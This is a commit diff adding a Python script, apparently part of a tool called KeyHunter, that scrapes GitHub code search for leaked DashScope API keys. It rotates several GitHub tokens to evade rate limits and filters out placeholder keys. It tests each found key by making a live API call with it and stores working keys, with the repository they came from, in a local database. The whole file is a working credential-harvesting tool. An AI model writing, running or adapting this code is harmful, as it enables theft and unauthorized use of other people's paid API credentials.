KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)
This commit is contained in:
206
gh_search_parser.py
Executable file
206
gh_search_parser.py
Executable file
@@ -0,0 +1,206 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
GitHub code search scraper — extracts REAL DashScope API keys from search results.
|
||||
Filters out placeholders (sk-xxx, sk-..., sk-your-*, sk-example).
|
||||
Pages through all results using GitHub API with token rotation.
|
||||
"""
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import hashlib
|
||||
import sqlite3
|
||||
import requests
|
||||
from typing import Union, Optional, Any
|
||||
|
||||
KF_BASE = os.path.dirname(os.path.abspath(__file__))
|
||||
DB_PATH = os.path.join(KF_BASE, "data", "keys.db")
|
||||
|
||||
# === PATTERN: DashScope keys in code ===
|
||||
RE_KEY = re.compile(r'(sk(-[a-z]{2,4}){0,2}-[0-9a-zA-Z_\-.]{8,200})', re.IGNORECASE)
|
||||
|
||||
# Placeholder patterns — skip these
|
||||
RE_PLACEHOLDER = re.compile(
|
||||
r'(sk-xxx|sk-\.{3,}|sk-your-|sk-YOUR|sk-example|sk-\*+|sk-None|sk-placeholder|'
|
||||
r'sk-[x*]{8,}|sk-[0]{8,}|sk-[f]{8,}|sk-[a-f0-9]{32}|sk-test)',
|
||||
re.IGNORECASE)
|
||||
|
||||
# Coding plan keys — high-value target
|
||||
RE_CODING = re.compile(r'(sk-ws-H\.[A-Za-z0-9]{6}\.[A-Za-z0-9]{4}\.[A-Za-z0-9_\-+\/=]{50,})')
|
||||
|
||||
# Standard hex keys
|
||||
RE_STANDARD = re.compile(r'(sk-[0-9a-f]{32})', re.IGNORECASE)
|
||||
|
||||
|
||||
def load_tokens(path):
|
||||
with open(path, encoding="utf-8", errors="replace") as f:
|
||||
return [l.strip() for l in f if l.strip() and not l.startswith("#")]
|
||||
|
||||
|
||||
def key_seen(db_cur, key):
|
||||
h = hashlib.sha256(key.encode()).hexdigest()
|
||||
db_cur.execute("SELECT 1 FROM keys WHERE hash=?", (h,))
|
||||
return db_cur.fetchone() is not None
|
||||
|
||||
|
||||
def extract_keys(text):
|
||||
"""Extract all plausible keys, skip placeholders."""
|
||||
found = set()
|
||||
|
||||
# Priority: coding-plan keys (high value)
|
||||
for m in RE_CODING.finditer(text):
|
||||
raw = m.group(1)
|
||||
if not RE_PLACEHOLDER.search(raw):
|
||||
found.add(raw)
|
||||
|
||||
# Standard hex keys
|
||||
for m in RE_STANDARD.finditer(text):
|
||||
raw = m.group(1)
|
||||
if not RE_PLACEHOLDER.search(raw):
|
||||
found.add(raw)
|
||||
|
||||
return found
|
||||
|
||||
|
||||
def validate_key(key):
|
||||
"""Quick validation."""
|
||||
endpt = "dashscope-intl.aliyuncs.com" if "ws-H." in key else "dashscope.aliyuncs.com"
|
||||
url = f"https://{endpt}/compatible-mode/v1/chat/completions"
|
||||
model = "qwen3.7-flash" if "ws-H." in key else "qwen-flash"
|
||||
|
||||
try:
|
||||
r = requests.post(url,
|
||||
headers={"Authorization": f"Bearer {key}", "Content-Type": "application/json"},
|
||||
json={"model": model, "messages": [{"role": "user", "content": "yo"}], "max_tokens": 2},
|
||||
timeout=10)
|
||||
return r.status_code, r.json()
|
||||
except:
|
||||
return -1, {}
|
||||
|
||||
|
||||
def search_github(query, token, page=1, per_page=100):
|
||||
"""Search GitHub code with pagination."""
|
||||
url = "https://api.github.com/search/code"
|
||||
headers = {
|
||||
"Authorization": f"token {token}",
|
||||
"Accept": "application/vnd.github.v3+json",
|
||||
"User-Agent": "keyhunter/1.0"
|
||||
}
|
||||
params = {"q": query, "per_page": per_page, "page": page}
|
||||
|
||||
r = requests.get(url, headers=headers, params=params, timeout=30)
|
||||
if r.status_code == 403:
|
||||
# Rate limited
|
||||
return None, None
|
||||
|
||||
if r.status_code != 200:
|
||||
return None, None
|
||||
|
||||
data = r.json()
|
||||
items = data.get("items", [])
|
||||
total = data.get("total_count", 0)
|
||||
|
||||
# Extract keys from text matches
|
||||
found = []
|
||||
for item in items:
|
||||
repo = item["repository"]["full_name"]
|
||||
path_item = item["name"]
|
||||
|
||||
for tm in item.get("text_matches", []):
|
||||
fragment = tm.get("fragment", "")
|
||||
keys = extract_keys(fragment)
|
||||
for k in keys:
|
||||
found.append((k, repo, path_item))
|
||||
|
||||
return found, data
|
||||
|
||||
|
||||
def main():
|
||||
tokens = load_tokens(os.path.join(KF_BASE, "gh_tokens.txt"))
|
||||
if not tokens:
|
||||
print("[!] No tokens!")
|
||||
return 1
|
||||
|
||||
db = sqlite3.connect(DB_PATH)
|
||||
cur = db.cursor()
|
||||
|
||||
queries = [
|
||||
# High-precision: coding plan keys
|
||||
'"sk-ws-H." language:python',
|
||||
# Standard keys in .env files
|
||||
'"sk-" "DASHSCOPE_API_KEY" extension:env NOT "sk-xxx"',
|
||||
# Standard keys in Python
|
||||
'"sk-" "DASHSCOPE" language:python NOT "sk-xxx" NOT "sk-your"',
|
||||
# In config files
|
||||
'"DASHSCOPE_API_KEY" "sk-" extension:yaml NOT "sk-xxx"',
|
||||
]
|
||||
|
||||
total_new = 0
|
||||
total_found = 0
|
||||
token_idx = 0
|
||||
|
||||
for query in queries:
|
||||
print(f"\n--- QUERY: {query} ---")
|
||||
page = 1
|
||||
while True:
|
||||
token = tokens[token_idx % len(tokens)]
|
||||
token_idx += 1
|
||||
|
||||
items, data = search_github(query, token, page)
|
||||
|
||||
if items is None and data is None:
|
||||
print(f" Rate limited / error on page {page}, switching token")
|
||||
token_idx += 1
|
||||
time.sleep(1)
|
||||
continue
|
||||
|
||||
if not items:
|
||||
print(f" Page {page}: 0 keys")
|
||||
break
|
||||
|
||||
total = data.get("total_count", len(items))
|
||||
print(f" Page {page}: {len(items)} keys found in {total} total results")
|
||||
|
||||
for key, repo, path in items:
|
||||
total_found += 1
|
||||
if not key_seen(cur, key):
|
||||
total_new += 1
|
||||
stat, resp = validate_key(key)
|
||||
status_text = "WORKING" if stat == 200 else "DEAD"
|
||||
info = ""
|
||||
if stat == 200 and resp.get("choices"):
|
||||
info = resp["choices"][0]["message"]["content"][:40]
|
||||
|
||||
plan = "coding" if "ws-H." in key else "standard"
|
||||
now_str = time.strftime("%Y-%m-%dT%H:%M:%S", time.gmtime(time.time()))
|
||||
h = hashlib.sha256(key.encode()).hexdigest()
|
||||
|
||||
try:
|
||||
cur.execute("""
|
||||
INSERT OR REPLACE INTO keys VALUES (?,?,?,?,?,?,?,?,?,?,?)
|
||||
""", (h, key, 'DASHSCOPE', status_text, plan, '', '',
|
||||
now_str, f"github:{repo}/{path}", now_str, now_str))
|
||||
tag = "✓" if status_text == "WORKING" else "✗"
|
||||
print(f" [{tag}] {key[3:15]}... {status_text} | {repo}/{path}")
|
||||
except Exception as e:
|
||||
print(f" [!] DB error: {e}")
|
||||
|
||||
if total_new % 10 == 0:
|
||||
db.commit()
|
||||
|
||||
db.commit()
|
||||
|
||||
if not items or page * 100 >= min(total, 1000):
|
||||
break
|
||||
page += 1
|
||||
time.sleep(0.5)
|
||||
|
||||
print(f"\n=== DONE === Found: {total_found}, New: {total_new}")
|
||||
cur.execute("SELECT status, COUNT(*) FROM keys WHERE prov='DASHSCOPE' GROUP BY status")
|
||||
for s, c in cur.fetchall():
|
||||
print(f" {s}: {c}")
|
||||
db.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
Reference in New Issue
Block a user